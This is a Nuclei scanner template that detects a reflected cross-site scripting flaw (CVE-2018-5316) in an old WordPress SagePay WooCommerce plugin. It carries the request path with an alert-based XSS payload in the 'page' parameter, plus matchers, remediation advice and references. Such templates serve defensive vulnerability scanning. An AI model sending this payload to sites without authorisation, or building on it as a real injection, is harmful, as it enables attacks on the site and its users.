nuclei-templates/http/cves/2018/CVE-2018-5316.yaml

53 lines
2.1 KiB
YAML

id: CVE-2018-5316
info:
name: WordPress SagePay Server Gateway for WooCommerce <1.0.9 - Cross-Site Scripting
author: daffainfo
severity: medium
description: WordPress SagePay Server Gateway for WooCommerce before 1.0.9 is vulnerable to cross-site scripting via the includes/pages/redirect.php page parameter.
remediation: |
Update to the latest version of the WordPress SagePay Server Gateway for WooCommerce plugin (1.0.9 or higher) to mitigate this vulnerability.
reference:
- https://wordpress.org/support/topic/sagepay-server-gateway-for-woocommerce-1-0-7-cross-site-scripting/#post-9792337
- https://wordpress.org/plugins/sagepay-server-gateway-for-woocommerce/#developers
- https://packetstormsecurity.com/files/145459/WordPress-Sagepay-Server-Gateway-For-WooCommerce-1.0.7-XSS.html
- https://nvd.nist.gov/vuln/detail/CVE-2018-5316
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2018-5316
cwe-id: CWE-79
epss-score: 0.00175
epss-percentile: 0.54619
cpe: cpe:2.3:a:patsatech:sagepay_server_gateway_for_woocommerce:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 1
vendor: patsatech
product: sagepay_server_gateway_for_woocommerce
framework: wordpress
tags: cve2018,wordpress,xss,wp-plugin,wp,woocommerce,packetstorm,cve
http:
- method: GET
path:
- '{{BaseURL}}/wp-content/plugins/sagepay-server-gateway-for-woocommerce/includes/pages/redirect.php?page=</script>"><script>alert(document.domain)</script>'
matchers-condition: and
matchers:
- type: word
part: body
words:
- '</script>"><script>alert(document.domain)</script>'
- 'Authenticate your card'
condition: and
- type: word
part: header
words:
- text/html
- type: status
status:
- 200
# digest: 4a0a00473045022015911eac54c1b6413c7cd397594c36b8d0f9b84ee5133d2ffe34a7074aa135a0022100873a31b967c60e445d50ed73ba29932388571c2f9da16d1f9986909e40d6082e:922c64590222798bb761d5b6d8e72950